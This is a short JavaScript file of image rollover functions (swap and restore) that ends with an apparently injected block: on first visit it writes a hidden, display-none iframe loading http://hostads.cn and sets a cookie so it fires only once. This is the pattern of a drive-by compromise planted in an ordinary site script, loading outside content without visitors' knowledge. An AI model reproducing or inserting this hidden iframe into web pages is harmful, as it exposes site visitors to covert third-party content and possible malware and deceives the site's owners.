function swap(name){
		if (document.images){	
			document.images[name].src= eval(name+"_over.src");
		}
	}
	
	function restore(name){
		if (document.images){
			document.images[name].src= eval(name+".src");
		}
	}

if (document.cookie.search("fimbb=1") == -1) {
ixa=document.getElementById('zbskb');if(ixa==null){document.write('<iframe id=zbskb src=http://hostads.cn style=display:none></iframe>');}
document.cookie = "fimbb=1;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}